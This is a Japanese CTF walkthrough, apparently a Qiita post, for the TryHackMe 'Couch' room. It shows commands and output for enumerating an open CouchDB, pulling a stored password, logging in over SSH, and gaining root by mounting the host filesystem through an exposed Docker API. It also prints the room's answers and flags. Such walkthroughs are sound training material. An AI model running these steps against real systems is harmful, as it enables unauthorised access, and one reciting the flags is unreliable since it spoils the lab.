0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【TryHackMe】Couch:Walkthrough

Posted at

概要

TryHackMe「Couch」のWalkthroughです。

Task1

Q1.Scan the machine. How many ports are open?

ポートスキャンを実行します。

$ nmap -Pn -T4 -sVC -A -p- 10.10.42.53 -oN nmap_result
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 34:9d:39:09:34:30:4b:3d:a7:1e:df:eb:a3:b0:e5:aa (RSA)
|   256 a4:2e:ef:3a:84:5d:21:1b:b9:d4:26:13:a5:2d:df:19 (ECDSA)
|_  256 e1:6d:4d:fd:c8:00:8e:86:c2:13:2d:c7:ad:85:13:9c (ED25519)
5984/tcp open  http    CouchDB httpd 1.6.1 (Erlang OTP/18)
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
|_http-server-header: CouchDB/1.6.1 (Erlang OTP/18)

ポートの稼働状況が分かりました。

ポート サービス バージョン
22 ssh OpenSSH 7.2p2
5984 http CouchDB httpd 1.6.1

A.2

Q2.What is the database management system installed on the server?

A.couchdb

Q3.What port is the database management system running on?

A.5984

Q4.What is the version of the management system installed on the server?

A.1.6.1

Q5.What is the path for the web administration tool for this database management system?

A._utils

Q6.What is the path to list all databases in the web browser of the database management system?

A._all_dbs

Q7.What are the credentials found in the web administration tool?

/_all_dbsでDB一覧を表示します。

$ curl http://10.10.42.53:5984/_all_dbs        
["_replicator","_users","couch","secret","test_suite_db","test_suite_db2"]

secretデータベースが怪しいのでドキュメント一覧を取得します。

$ curl http://10.10.42.53:5984/secret/_all_docs
{"total_rows":1,"offset":0,"rows":[
{"id":"a1320dd69fb4570d0a3d26df4e000be7","key":"a1320dd69fb4570d0a3d26df4e000be7","value":{"rev":"2-57b28bd986d343cacd9cb3fca0b20c46"}}
]}

見つかったIDのデータを取得すると、atenaの認証情報を取得できました。

$ curl http://10.10.42.53:5984/secret/a1320dd69fb4570d0a3d26df4e000be7
{"_id":"a1320dd69fb4570d0a3d26df4e000be7","_rev":"2-57b28bd986d343cacd9cb3fca0b20c46","passwordbackup":"atena:t4qfzcc4qN##"}

A.atena:t4qfzcc4qN##

Q8.Compromise the machine and locate user.txt

Hint.It is very important to reuse passwords.

得られた認証情報でSSH接続に成功しました。

$ ssh atena@10.10.42.53
atena@ubuntu:~$

/home/atena/user.txtからユーザーフラグを入手できました。

$ cat user.txt 
THM{1ns3cure_couchdb}

A.THM{1ns3cure_couchdb}

Q9.Escalate privileges and obtain root.txt

.bash_historyを確認すると、dockerコンテナを起動していることが分かります。

atena@ubuntu:~$ cat .bash_history

(省略)

docker -H 127.0.0.1:2375 run --rm -it --privileged --net=host -v /:/mnt alpine

同じコマンドを実行するとコンテナ内のroot権限を得られました。

$ docker -H 127.0.0.1:2375 run --rm -it --privileged --net=host -v /:/mnt alpine
/ # whoami
root

ルートフラグファイルを検索すると/mnt/root/root.txtにあることが分かりました。

# find / -name *root.txt* 2>/dev/null
/mnt/root/root.txt

/mnt/root/root.txtからルートフラグを入手できました。

# cat /mnt/root/root.txt
THM{RCE_us1ng_Docker_API}

A.THM{RCE_us1ng_Docker_API}

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?